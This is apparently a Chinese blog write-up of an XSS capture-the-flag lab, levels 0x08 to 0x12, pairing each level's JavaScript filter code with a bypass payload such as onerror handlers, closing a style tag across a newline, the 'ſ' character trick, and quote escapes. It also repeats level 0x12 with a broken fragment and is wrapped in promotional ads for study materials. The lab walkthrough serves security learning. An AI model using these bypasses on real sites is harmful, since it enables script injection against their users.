写在最后
在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。
需要完整版PDF学习资源私我
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
当有**<123>时,就全部会被过滤掉,但是如果<123**就不会被过滤掉。
payload即为:<img src=“123” οnerrοr=“alert(1)”
0x08(使用换行绕过)
服务器源代码如下
正则表达式
/<\/?[^>]+>/gi
的含义如下:
/<\/?[^>]+>/
: 匹配<
和>
之间的任意字符,其中<\/?
匹配<
或者</
,[^>]+
匹配一个或多个非>
的字符,>
匹配>
字符本身。这个正则表达式匹配 HTML 标签的开始和结束标记。/g
: 表示全局匹配,即匹配到一个后继续匹配,直到没有匹配项。/i
: 表示忽略大小写匹配。因此,这个正则表达式可以匹配所有的 HTML 标签,包括开始标记和结束标记,例如
<p>
、</p>
、<img>
、</img>
等等。将这个正则表达式传递给replace()
方法,就可以将匹配到的 HTML 标签替换为空字符串,从而去掉 HTML 标签。
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
使用换行即可进行绕过
</style
>
<script>alert(1)</script>
<style>
0x09(输入最前面必须带上一段url)
这是服务器源代码:
意思就是说输入的内容必须以 https://www.segmentfault.com开头
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
payload如下
https://www.segmentfault.com"></script><script>alert(1)</script>//
先将前面的script闭合,然后再使用js代码实现弹框1,然后通过**//**将后面的script给注释掉。
0x0A(URL重定向)
服务器源代码:
这段代码是一个JavaScript函数,它的名称是
render
。该函数接受一个字符串参数input
,并根据该参数返回不同的结果。函数内部定义了一个嵌套函数
escapeHtml
,该函数用于将字符串中的特殊字符进行转义,以便在HTML中显示。具体来说,该函数会将字符串中的&
、'
、"
、<
、>
和/
替换为相应的HTML实体编码。该函数的主要逻辑是检查输入的字符串是否是以
https://www.segmentfault.com
开头的URL。如果是,函数会将该URL插入到一个<script>
标签的src
属性中,并返回该标签的HTML字符串表示。如果输入的字符串不是以https://www.segmentfault.com
开头的URL,则返回字符串"Invalid URL"。总之,这段代码的作用是根据输入的字符串生成一个HTML字符串表示,其中如果输入的字符串是符合条件的URL,将生成一个包含该URL的
<script>
标签。
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
这段代码大概就是把很多能注入的关键词都给过滤了。
输入的内容最前面必须加上一段网址和上关一样。
所以使用上一关的闭合符将不管用了。
但是根据这个src看来,可以使用引入一段服务器上js代码。
可以使用@重定向来定向到js代码。在服务器中写入一段js代码,使用@重定向来导入js。
但是我不知道为什么一直不成功,所以根据使用官方给出的js代码,不使用自己服务器中的代码来导入js就可以。
payload:
https://www.segmentfault.com.haozi.me/j.js
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-a1hmJrNg-1679873092880)(C:\Users\陈勇\AppData\Roaming\Typora\typora-user-images\image-20230326160646711.png)]
0x0B(大写绕过)
服务器源码
将所有输入的代码全给变成大写。
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
这是必须要知道
- HTML:不区分大小写
- JS:区分大小写
这是如果使用平常的****发现没有什么用。
第一种方法:
这是就要使用到****这段代码就可以弹窗过关。
第二种方法:
通过img标签,在onerror中加入alert代码的编码形式。
<img src="" onerror="alert(1)">
0x0C(大写+script绕过)
服务器代码:
这段代码就是过滤了script字段,然后就是还和上关一样大写绕过。
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
这段payload就使用和上关一样的就行img标签
0x0D
0x0E(使用 ſ 绕过)
这段代码大概就是说将所有用<开头的字母都进行了替换,让我们无法正常输入标签。
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
这里需要使用一个xss特殊的绕过技巧,在html中ſ
这个字符转换为s,所以我们通过使用这个字符绕过这里的过滤函数。
payload:
<ſcript src="https://xss.haozi.me/j.js"></script>
0x0F
服务器源代码:
将一些注入语句,给转义了,并放在onerror中
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
但是转义对于JS来说作用不大,我们可以先将闭合,然后使用分号再在后面加上alert(1)语句即可。然后再把后面的给注释掉
payload
');alert(1)//
0x10
服务器:
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}
payload:
alert(1)
0x11
服务器源代码:
进入本关发现在过滤了许多字符的基础上还将,\n、\r等换行操作给过滤了。
所以我们可以先把前面函数闭合,虽然不能使用换行操作,但是我们可以使用
,
或者;
将代码分隔开来,再把后面字符使用注释符注释就可以成功绕过了。
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}
payload:
");alert(1) //
0x12
服务器:
本关本质其实和上一关一样,就是将
"
替换为\
,防止闭合前面函数。
但是我们可以通过先输入\
符号将\进行转义了,这样双引号就能成功闭合了。
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
payload
\");alert(1)//
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DPfuxnn1-1679873092882)(C:\Users\陈勇\AppData\Roaming\Typora\typora-user-images\image-20230326220145186.png)]
eJs(s)
return `
`
}
**payload**:
```javascript
");alert(1) //
0x12
服务器:
本关本质其实和上一关一样,就是将
"
替换为\
,防止闭合前面函数。
但是我们可以通过先输入\
符号将\进行转义了,这样双引号就能成功闭合了。
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
payload
\");alert(1)//
还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!
王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。
对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!
【完整版领取方式在文末!!】
***93道网络安全面试题***
![](https://img-blog.csdnimg.cn/img_convert/6679c89ccd849f9504c48bb02882ef8d.png)
![](https://img-blog.csdnimg.cn/img_convert/07ce1a919614bde78921fb2f8ddf0c2f.png)
![](https://img-blog.csdnimg.cn/img_convert/44238619c3ba2d672b5b8dc4a529b01d.png)
内容实在太多,不一一截图了
### 黑客学习资源推荐
最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
#### 1️⃣零基础入门
##### ① 学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的**学习成长路线图**。可以说是**最科学最系统的学习路线**,大家跟着这个大的方向学习准没问题。
![image](https://img-blog.csdnimg.cn/img_convert/acb3c4714e29498573a58a3c79c775da.gif#pic_center)
##### ② 路线对应学习视频
同时每个成长路线对应的板块都有配套的视频提供:
![image-20231025112050764](https://img-blog.csdnimg.cn/874ad4fd3dbe4f6bb3bff17885655014.png#pic_center)
**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
**[需要这份系统化资料的朋友,可以点击这里获取](https://bbs.csdn.net/topics/618540462)**
**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**